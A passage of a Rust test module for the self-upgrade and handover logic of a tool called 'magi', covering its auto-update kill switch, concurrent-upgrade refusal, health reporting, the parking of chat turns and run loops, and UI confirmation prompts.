14720    /// `should_check` says, which is why the state file here is missing
14721    /// entirely: read alone, that alone would answer "never checked, go
14722    /// ahead".
14723    #[test]
14724    fn recheck_defers_to_an_upgrade_already_in_flight() {
14725        let dir = TempDir::new().expect("temp dir");
14726        let path = dir.path().join("state.json");
14727        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14728        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14729
14730        assert!(
14731            !update_recheck_due(&checker, Some(&progress)),
14732            "a recheck must not run while an upgrade this deck started is \
14733             still moving"
14734        );
14735    }
14736
14737    #[tokio::test]
14738    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14739        // The same env var the background check honours (`disabled_by_env`)
14740        // must also stop a button press before it ever calls
14741        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
14742        // means "never contact GitHub from this process", and a tap on the
14743        // upgrade button must not override that any more than a broken
14744        // `magi.toml` may. Left unset, this fixture's default config would
14745        // otherwise reach a real, unauthenticated GitHub call.
14746        //
14747        // SAFETY: single-threaded as far as this variable goes - nothing else
14748        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
14749        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14750        unsafe {
14751            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14752        }
14753        let fx = Fixture::start().await;
14754        let res = fx.post("/api/upgrade", None).await;
14755        unsafe {
14756            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14757        }
14758        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14759        let body = res.json();
14760        assert!(body["to"].is_null(), "there was no release to move to");
14761        assert!(body["parked"].is_null(), "and nothing was parked");
14762        assert!(
14763            body["detail"]
14764                .as_str()
14765                .unwrap()
14766                .contains("disabled by MAGI_NO_AUTOUPDATE"),
14767            "{body:?}"
14768        );
14769    }
14770
14771    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14772        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14773        p.stage = stage;
14774        p
14775    }
14776
14777    #[test]
14778    fn busy_stages_match_the_ui_set() {
14779        use crate::updater::Stage;
14780        assert!(APP_JS.contains(
14781            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14782        ));
14783        for s in [
14784            Stage::Downloading,
14785            Stage::Replaced,
14786            Stage::Parking,
14787            Stage::Restarting,
14788        ] {
14789            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14790        }
14791        for s in [Stage::Done, Stage::Failed] {
14792            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14793        }
14794        assert!(upgrade_in_motion(None).is_none());
14795    }
14796
14797    #[tokio::test]
14798    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14799        use crate::updater::Stage;
14800        for stage in [
14801            Stage::Downloading,
14802            Stage::Replaced,
14803            Stage::Parking,
14804            Stage::Restarting,
14805        ] {
14806            let fx = Fixture::start().await;
14807            let seeded = seeded_progress(stage);
14808            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14809            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14810                .expect("read");
14811
14812            let res = fx.post("/api/upgrade", None).await;
14813            assert_eq!(res.status, 409, "{stage:?}");
14814            let err = res.json()["error"].as_str().unwrap().to_owned();
14815            assert!(err.contains("already in progress"), "{err}");
14816            assert!(err.contains(stage.as_str()), "{err}");
14817
14818            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14819                .expect("read");
14820            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14821            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14822                .unwrap_or_default();
14823            assert!(!log.contains("signalling HANDOVER"), "{log}");
14824        }
14825    }
14826
14827    #[tokio::test]
14828    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14829        use crate::updater::Stage;
14830        let repo = TempDir::new().expect("repo dir");
14831        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14832            .expect("write magi.toml");
14833        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14834        for stage in [Stage::Done, Stage::Failed] {
14835            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14836            let res = fx.post("/api/upgrade", None).await;
14837            assert_eq!(res.status, 200, "{stage:?}");
14838        }
14839        // No record at all, and the gate was released by the earlier calls.
14840        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14841        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14842    }
14843
14844    #[tokio::test]
14845    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14846        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
14847        // and the route answers from its own logic.
14848        //
14849        // This test used to lean on the fixture's placeholder repo failing
14850        // config discovery, which left `mode = "notify"` - and a live,
14851        // unauthenticated call to the GitHub releases API inside a unit test.
14852        // GitHub allows 60 of those an hour per address, so the suite went red
14853        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
14854        // long as somebody kept re-running it: every attempt spent another
14855        // request. Six reruns across four pull requests were charged to that
14856        // before it was read as a rate limit rather than a flake.
14857        //
14858        // What the assertion is about is the "already current" branch, which
14859        // is reached by there being no newer release *or* nowhere to look. The
14860        // second one needs no network and cannot be rate limited.
14861        let repo = TempDir::new().expect("repo dir");
14862        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14863            .expect("write magi.toml");
14864        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14865
14866        // It must answer 200 and leave the process alone: restarting for an
14867        // upgrade that did not happen parks the run in flight and drops every
14868        // connection to pay for nothing. A probe against a deck already on the
14869        // newest build did exactly that, which is how this case got its own
14870        // branch.
14871        let res = fx.post("/api/upgrade", None).await;
14872        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14873        let body = res.json();
14874        assert!(body["to"].is_null(), "there was no release to move to");
14875        assert!(body["parked"].is_null(), "and nothing was parked");
14876        assert!(
14877            body["detail"]
14878                .as_str()
14879                .unwrap()
14880                .contains("nothing restarted"),
14881            "{body:?}"
14882        );
14883    }
14884
14885    #[tokio::test]
14886    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14887        // `mode = "off"` for the same reason as the test above: a default
14888        // fixture repo falls back to `mode = "notify"`, which would make this
14889        // route's new `update` field a live, unauthenticated GitHub call on
14890        // every assertion in this suite that happens to hit `/api/health`.
14891        let repo = TempDir::new().expect("repo dir");
14892        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14893            .expect("write magi.toml");
14894        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14895
14896        let health = fx.get("/api/health").await.json();
14897        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14898        assert_eq!(
14899            health["update"]["available"], false,
14900            "checking is off, which reads as \"unknown\", not \"none\""
14901        );
14902        assert!(health["update"]["to"].is_null());
14903        assert!(
14904            health["upgrade"].is_null(),
14905            "nothing has ever asked this deck to upgrade"
14906        );
14907    }
14908
14909    #[tokio::test]
14910    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14911        let fx = Fixture::start().await;
14912        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14913
14914        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14915        progress.parked_run = Some("20260905-000000-cd51".to_owned());
14916        progress.advance(crate::updater::Stage::Parking);
14917        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14918
14919        let health = fx.get("/api/health").await.json();
14920        assert_eq!(health["upgrade"]["stage"], "parking");
14921        assert_eq!(health["upgrade"]["from"], "0.5.1");
14922        assert_eq!(health["upgrade"]["to"], "0.5.2");
14923        let waiting_on = health["upgrade"]["waiting_on"]
14924            .as_str()
14925            .expect("waiting_on is set while parking a known run");
14926        assert!(waiting_on.contains("cd51"), "{waiting_on}");
14927        assert!(waiting_on.contains("implementing"), "{waiting_on}");
14928    }
14929
14930    #[tokio::test]
14931    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14932        let fx = Fixture::start().await;
14933        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14934        progress.advance(crate::updater::Stage::Done);
14935        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14936
14937        let health = fx.get("/api/health").await.json();
14938        assert_eq!(health["upgrade"]["stage"], "done");
14939        assert!(
14940            health["upgrade"]["waiting_on"].is_null(),
14941            "nothing to wait on once it is done"
14942        );
14943    }
14944
14945    #[tokio::test]
14946    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14947        let home = TempDir::new().expect("temp home");
14948        let runs = home.path().join("runs");
14949        std::fs::create_dir_all(&runs).expect("runs dir");
14950        let ui = Ui::new(
14951            Queue::at(home.path().join("queue")),
14952            Questions::at(home.path().join("questions")),
14953            Talks::at(home.path().join("talks")),
14954            runs,
14955            home.path().to_path_buf(),
14956            PathBuf::from("/repo/magi"),
14957        )
14958        .with_launch(launch_idle);
14959        let looping = ui.looping();
14960        let turns = ui.turns();
14961        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14962            .await
14963            .expect("bind loopback");
14964        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14965
14966        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14967        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14968
14969        hand_over(
14970            home.path(),
14971            &looping,
14972            &turns,
14973            &|_: &[String]| Duration::from_secs(5),
14974            served,
14975            |_| Ok(1),
14976        )
14977        .await
14978        .expect("hand over");
14979
14980        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14981        assert_eq!(
14982            after.stage,
14983            crate::updater::Stage::Restarting,
14984            "hand_over owns the record through parking and up to restarting; \
14985             the successor is what finishes it"
14986        );
14987    }
14988
14989    /// The successor is started exactly once on success, and exactly once on
14990    /// failure too (a failed start is reported, never retried).
14991    #[tokio::test]
14992    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14993        for fail in [false, true] {
14994            let home = TempDir::new().expect("temp home");
14995            let ui = idle_ui(&home);
14996            let looping = ui.looping();
14997            let turns = ui.turns();
14998            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14999                .await
15000                .expect("bind loopback");
15001            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15002            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15003            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15004
15005            let calls = std::sync::atomic::AtomicUsize::new(0);
15006            let outcome = hand_over(
15007                home.path(),
15008                &looping,
15009                &turns,
15010                &|_: &[String]| Duration::from_secs(5),
15011                served,
15012                |_| {
15013                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15014                    if fail {
15015                        anyhow::bail!("no exec")
15016                    } else {
15017                        Ok(4242)
15018                    }
15019                },
15020            )
15021            .await;
15022            assert_eq!(outcome.is_err(), fail);
15023            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15024
15025            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15026                .expect("upgrade.log is written under the home");
15027            for step in [
15028                "entered",
15029                "finish_loop",
15030                "listener released",
15031                "starting the successor",
15032            ] {
15033                assert!(log.contains(step), "missing `{step}` in:\n{log}");
15034            }
15035            assert!(
15036                log.contains(if fail { "did not start" } else { "pid 4242" }),
15037                "{log}"
15038            );
15039        }
15040    }
15041
15042    /// The handover signal is seen however the race falls, and wakes its one
15043    /// waiter once per signal - nothing here can spin.
15044    #[tokio::test]
15045    async fn the_handover_signal_wakes_one_waiter_once() {
15046        let signal = Notify::new();
15047        // Signalled before anyone waits: the stored permit is not lost.
15048        signal.notify_one();
15049        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15050            .await
15051            .expect("an early signal is still seen");
15052        // One signal, one wake-up: a second wait does not resolve by itself.
15053        assert!(
15054            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15055                .await
15056                .is_err(),
15057            "a consumed signal must not wake a second time"
15058        );
15059        // Signalled while waiting.
15060        let signal = std::sync::Arc::new(signal);
15061        let waiter = tokio::spawn({
15062            let signal = std::sync::Arc::clone(&signal);
15063            async move { wait_for_handover(&signal).await }
15064        });
15065        tokio::time::sleep(Duration::from_millis(20)).await;
15066        assert!(!waiter.is_finished(), "nothing was signalled yet");
15067        signal.notify_one();
15068        tokio::time::timeout(Duration::from_secs(5), waiter)
15069            .await
15070            .expect("a late signal wakes the waiter")
15071            .expect("join");
15072    }
15073
15074    #[tokio::test]
15075    async fn health_says_how_long_a_handover_has_been_stuck() {
15076        let fx = Fixture::start().await;
15077        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15078        progress.advance(crate::updater::Stage::Replaced);
15079        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15080        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15081
15082        let health = fx.get("/api/health").await.json();
15083        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15084        assert!(stuck >= 600, "{stuck}");
15085        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15086        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15087    }
15088
15089    #[tokio::test]
15090    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15091        let home = tempfile::tempdir().expect("temp home");
15092        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15093        progress.advance(crate::updater::Stage::Parking);
15094        crate::updater::write_progress(home.path(), &progress).expect("seed");
15095        // What the second upgrade_and_restart and its handler do.
15096        let mut again = progress.clone();
15097        again.advance(crate::updater::Stage::Replaced);
15098        crate::updater::write_progress(home.path(), &again).expect("replaced");
15099        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15100        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15101        let after = crate::updater::read_progress(home.path()).expect("record");
15102        assert_eq!(after.stage, crate::updater::Stage::Parking);
15103    }
15104
15105    #[tokio::test]
15106    async fn health_does_not_call_a_live_parking_wait_stuck() {
15107        let fx = Fixture::start().await;
15108        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15109        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15110        progress.advance(crate::updater::Stage::Parking);
15111        let hours = Duration::from_secs(3 * 3600);
15112        progress.started_at = Timestamp::now() - hours;
15113        progress.updated_at = Timestamp::now() - hours;
15114        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15115        let _lease = crate::updater::LeaseGuard::enter(
15116            fx.home.path(),
15117            Some("20260905-000000-cd51".to_owned()),
15118        );
15119
15120        let health = fx.get("/api/health").await.json();
15121        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15122        assert!(health["upgrade"]["stuck_kind"].is_null());
15123        assert_eq!(health["upgrade"]["handover_alive"], true);
15124        let waiting_on = health["upgrade"]["waiting_on"]
15125            .as_str()
15126            .expect("waiting_on");
15127        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15128    }
15129
15130    fn idle_ui(home: &TempDir) -> Ui {
15131        let runs = home.path().join("runs");
15132        std::fs::create_dir_all(&runs).expect("runs dir");
15133        Ui::new(
15134            Queue::at(home.path().join("queue")),
15135            Questions::at(home.path().join("questions")),
15136            Talks::at(home.path().join("talks")),
15137            runs,
15138            home.path().to_path_buf(),
15139            PathBuf::from("/repo/magi"),
15140        )
15141        .with_launch(launch_idle)
15142    }
15143
15144    async fn park_fixture(
15145        home: &TempDir,
15146    ) -> (
15147        Ui,
15148        Arc<Mutex<LoopState>>,
15149        Arc<Mutex<TalkTurns>>,
15150        tokio::task::JoinHandle<std::io::Result<()>>,
15151    ) {
15152        let ui = idle_ui(home);
15153        let looping = ui.looping();
15154        let turns = ui.turns();
15155        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15156            .await
15157            .expect("bind loopback");
15158        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15159        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15160        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15161        (ui, looping, turns, served)
15162    }
15163
15164    /// The hand-over does not release the address while a chat turn is in
15165    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
15166    /// started once the turn ends.
15167    #[tokio::test]
15168    async fn hand_over_waits_for_a_running_chat_turn() {
15169        let home = TempDir::new().expect("temp home");
15170        let (ui, looping, turns, served) = park_fixture(&home).await;
15171        let ui = Arc::new(ui);
15172        let id = "20260901-000000-chat";
15173        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15174
15175        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15176        let handover = tokio::spawn({
15177            let home = home.path().to_path_buf();
15178            let turns = Arc::clone(&turns);
15179            let calls = Arc::clone(&calls);
15180            async move {
15181                hand_over(
15182                    &home,
15183                    &looping,
15184                    &turns,
15185                    &|_: &[String]| Duration::from_secs(60),
15186                    served,
15187                    move |_| {
15188                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15189                        Ok(1)
15190                    },
15191                )
15192                .await
15193            }
15194        });
15195
15196        let waiting = async {
15197            for _ in 0..200 {
15198                if crate::updater::read_progress(home.path())
15199                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
15200                {
15201                    return;
15202                }
15203                tokio::time::sleep(Duration::from_millis(25)).await;
15204            }
15205            panic!("the park never named the chat turn");
15206        };
15207        waiting.await;
15208        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15209
15210        // A new turn is refused, a queued claim and a direct `/say` see a busy
15211        // slot, and nothing new is live.
15212        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15213        assert!(
15214            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15215            "a direct start says an upgrade is in progress"
15216        );
15217        assert!(
15218            ui.begin_queued_talk_turn("20260901-000000-late")
15219                .expect("queued claim")
15220                .is_none()
15221        );
15222        assert!(matches!(
15223            ui.begin_talk_turn_unless_pending("20260901-000000-late")
15224                .expect("start"),
15225            TalkTurnStart::Busy
15226        ));
15227        assert_eq!(turns.lock().unwrap().live.len(), 1);
15228
15229        // The health text names the turn.
15230        let progress = crate::updater::read_progress(home.path()).expect("progress");
15231        let view = upgrade_progress_view(&ui, progress);
15232        assert!(
15233            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15234            "{:?}",
15235            view.waiting_on
15236        );
15237
15238        assert!(!handover.is_finished());
15239        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15240        drop(turn);
15241        handover.await.expect("join").expect("hand over");
15242        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15243        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15244    }
15245
15246    /// Chat stays open while the loop is still parking, and closes only once
15247    /// the loop is done; a turn started during the park is waited for.
15248    #[tokio::test]
15249    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15250        let home = TempDir::new().expect("temp home");
15251        let (ui, looping, turns, served) = park_fixture(&home).await;
15252        let ui = Arc::new(ui);
15253        // A loop that ends only when told to.
15254        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15255        lock_or_recover(&looping).live = Some(Live {
15256            stop: daemon::Stop::new(),
15257            handle: tokio::spawn(async move {
15258                let _ = loop_ended.await;
15259            }),
15260            opts: daemon::Opts::default(),
15261        });
15262
15263        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15264        let handover = tokio::spawn({
15265            let home = home.path().to_path_buf();
15266            let turns = Arc::clone(&turns);
15267            let calls = Arc::clone(&calls);
15268            async move {
15269                hand_over(
15270                    &home,
15271                    &looping,
15272                    &turns,
15273                    &|_: &[String]| Duration::from_secs(60),
15274                    served,
15275                    move |_| {
15276                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15277                        Ok(1)
15278                    },
15279                )
15280                .await
15281            }
15282        });
15283
15284        let reached = async {
15285            for _ in 0..200 {
15286                if crate::updater::read_progress(home.path())
15287                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15288                {
15289                    return;
15290                }
15291                tokio::time::sleep(Duration::from_millis(25)).await;
15292            }
15293            panic!("the hand-over never reached parking");
15294        };
15295        reached.await;
15296
15297        // The loop is still parking: a chat turn starts.
15298        assert!(!turns.lock().unwrap().parking);
15299        let turn = ui
15300            .begin_talk_turn("20260901-000000-chat")
15301            .expect("claim")
15302            .expect("a turn can start while the loop parks");
15303
15304        // The loop ends; the slot closes while the first turn is still held.
15305        end_loop.send(()).expect("loop still waiting");
15306        for _ in 0..200 {
15307            if turns.lock().unwrap().parking {
15308                break;
15309            }
15310            tokio::time::sleep(Duration::from_millis(25)).await;
15311        }
15312        assert!(
15313            turns.lock().unwrap().parking,
15314            "closed once the loop is done"
15315        );
15316        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15317        assert!(
15318            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15319            "no turn starts once the loop is done"
15320        );
15321        assert!(
15322            ui.begin_queued_talk_turn("20260901-000000-late")
15323                .expect("queued claim")
15324                .is_none()
15325        );
15326        assert!(!handover.is_finished());
15327        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15328
15329        drop(turn);
15330        handover.await.expect("join").expect("hand over");
15331        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15332        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15333    }
15334
15335    /// A turn that never ends cannot block the upgrade: past the bound the
15336    /// hand-over proceeds and records which talk it gave up on.
15337    #[tokio::test]
15338    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15339        let home = TempDir::new().expect("temp home");
15340        let (ui, looping, turns, served) = park_fixture(&home).await;
15341        let id = "20260901-000000-stuk";
15342        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15343
15344        let calls = std::sync::atomic::AtomicUsize::new(0);
15345        hand_over(
15346            home.path(),
15347            &looping,
15348            &turns,
15349            &|_: &[String]| Duration::from_millis(300),
15350            served,
15351            |_| {
15352                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15353                Ok(1)
15354            },
15355        )
15356        .await
15357        .expect("hand over");
15358        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15359
15360        let progress = crate::updater::read_progress(home.path()).expect("progress");
15361        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15362        assert!(
15363            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15364            "{:?}",
15365            progress.detail
15366        );
15367        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15368        assert!(
15369            log.contains("handing over anyway") && log.contains(id),
15370            "{log}"
15371        );
15372    }
15373
15374    /// A drain that finds the upgrade parking leaves the queued draft alone
15375    /// and gives the slot up, instead of starting another turn.
15376    #[tokio::test]
15377    async fn drain_loop_starts_no_turn_while_parking() {
15378        let tmp = TempDir::new().expect("tempdir");
15379        let repo = tmp.path().join("repo");
15380        std::fs::create_dir_all(&repo).expect("repo dir");
15381        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15382        let home = TempDir::new().expect("temp home");
15383        let talks = Talks::at(home.path().join("talks"));
15384        let ui = Ui::new(
15385            Queue::at(home.path().join("queue")),
15386            Questions::at(home.path().join("questions")),
15387            talks.clone(),
15388            home.path().join("runs"),
15389            home.path().to_path_buf(),
15390            repo.clone(),
15391        )
15392        .with_worktrees_root(home.path().join("wt"));
15393        let cfg = config_for(&repo).await.expect("discover config");
15394        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15395        let id = talk.id.clone();
15396        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15397        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15398        let turns = ui.turns();
15399        let parking = ParkingTurns::begin(&turns);
15400
15401        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15402
15403        assert!(
15404            turns.lock().unwrap().live.is_empty(),
15405            "the slot is given up"
15406        );
15407        let fresh = talks.get(&id).expect("talk");
15408        assert_eq!(fresh.pending, "later", "the draft is still queued");
15409        assert!(fresh.turns.is_empty(), "no turn ran");
15410        drop(parking);
15411    }
15412
15413    /// Run `hand_over` against `ui` and return what the successor was told.
15414    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15415        let looping = ui.looping();
15416        let turns = ui.turns();
15417        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15418            .await
15419            .expect("bind loopback");
15420        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15421        let told = std::sync::Mutex::new(None);
15422        hand_over(
15423            home.path(),
15424            &looping,
15425            &turns,
15426            &|_: &[String]| Duration::from_secs(5),
15427            served,
15428            |resume| {
15429                *told.lock().unwrap() = Some(resume);
15430                Ok(1)
15431            },
15432        )
15433        .await
15434        .expect("hand over");
15435        told.into_inner().unwrap().expect("successor was started")
15436    }
15437
15438    #[tokio::test]
15439    async fn a_running_loop_is_resumed_by_the_successor() {
15440        let home = TempDir::new().expect("temp home");
15441        let ui = idle_ui(&home);
15442        ui.start_loop(None).expect("start");
15443        ui.park_for_upgrade().expect("park");
15444        // The idle loop sees the park and ends before the handover fires.
15445        for _ in 0..500 {
15446            if !ui.loop_view(None).running {
15447                break;
15448            }
15449            tokio::time::sleep(Duration::from_millis(2)).await;
15450        }
15451        assert!(handed_over(&home, ui).await, "a running loop must resume");
15452
15453        let successor = idle_ui(&home);
15454        assert!(!successor.loop_view(None).running);
15455        assert!(successor.resume_after_handover(true));
15456        assert!(successor.loop_view(None).running);
15457        successor.stop_loop(None, false).expect("stop");
15458    }
15459
15460    #[tokio::test]
15461    async fn a_second_upgrade_request_keeps_the_resume_intent() {
15462        let home = TempDir::new().expect("temp home");
15463        let ui = idle_ui(&home);
15464        ui.start_loop(None).expect("start");
15465        ui.park_for_upgrade().expect("first park");
15466        ui.park_for_upgrade().expect("second park");
15467        assert!(handed_over(&home, ui).await);
15468    }
15469
15470    #[tokio::test]
15471    async fn a_stop_during_the_handover_wait_is_honoured() {
15472        let home = TempDir::new().expect("temp home");
15473        let ui = idle_ui(&home);
15474        ui.start_loop(None).expect("start");
15475        ui.park_for_upgrade().expect("park");
15476        ui.stop_loop(None, false).expect("stop");
15477        assert!(!handed_over(&home, ui).await);
15478    }
15479
15480    #[tokio::test]
15481    async fn an_idle_loop_stays_stopped_across_the_handover() {
15482        let home = TempDir::new().expect("temp home");
15483        let ui = idle_ui(&home);
15484        ui.park_for_upgrade().expect("park");
15485        assert!(!handed_over(&home, ui).await);
15486
15487        let successor = idle_ui(&home);
15488        assert!(!successor.resume_after_handover(false));
15489        assert!(!successor.loop_view(None).running);
15490    }
15491
15492    #[tokio::test]
15493    async fn a_loop_the_operator_stopped_is_not_resumed() {
15494        let home = TempDir::new().expect("temp home");
15495        let ui = idle_ui(&home);
15496        ui.start_loop(None).expect("start");
15497        ui.stop_loop(None, false).expect("stop");
15498        ui.park_for_upgrade().expect("park");
15499        assert!(!handed_over(&home, ui).await);
15500    }
15501
15502    #[test]
15503    fn only_an_explicit_one_requests_a_resume() {
15504        assert!(!resume_requested(None));
15505        assert!(!resume_requested(Some("0".into())));
15506        assert!(!resume_requested(Some("".into())));
15507        assert!(resume_requested(Some("1".into())));
15508    }
15509
15510    #[test]
15511    fn the_upgrade_button_arms_before_it_restarts_anything() {
15512        // It ends the process the operator is talking to, and a phone in a
15513        // pocket taps things. One tap arms, the second commits.
15514        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15515        assert!(APP_JS.contains("Replace the binary and restart?"));
15516        assert!(APP_JS.contains("function confirmed("));
15517        // Hidden when the loop is somebody else's, matching the 409 above -
15518        // and hidden with nothing to install, matching the 200 "already
15519        // current" branch: an operator on the newest build must not be
15520        // offered a restart that would only park a run for nothing.
15521        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15522        // A park waits for the node in flight, up to an hour for an implement
15523        // wave. Leaving the button reading "Upgrading…" for that long is the
15524        // same mistake as an error rendered off screen: it looks wedged.
15525        assert!(
15526            APP_JS.contains("Parking, then restarting"),
15527            "the button says what it is waiting for"
15528        );
15529        // And nothing to install must give the button back rather than
15530        // pretending a restart is coming.
15531        assert!(APP_JS.contains("if (!out.to)"));
15532    }
15533
15534    #[test]
15535    fn stopping_the_loop_arms_but_starting_does_not() {
15536        // A stray tap must not leave the queue stopped overnight, so a stop is
15537        // two taps through the same helper the upgrade uses; a start stays one.
15538        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15539        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15540        assert!(APP_JS.contains("confirmed(button, question)"));
15541        // The label put back on timeout is the one saved when arming, not a
15542        // hard-coded upgrade caption that would rename the stop button.
15543        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
15544        assert!(APP_JS.contains("const label = btn.textContent;"));
15545        assert!(!APP_JS.contains("Neither direction is guarded"));
15546    }
15547
15548    #[test]
15549    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15550        assert!(
15551            APP_JS.contains("state.health.version"),
15552            "the operator wants to know what is running even with nothing newer"
15553        );
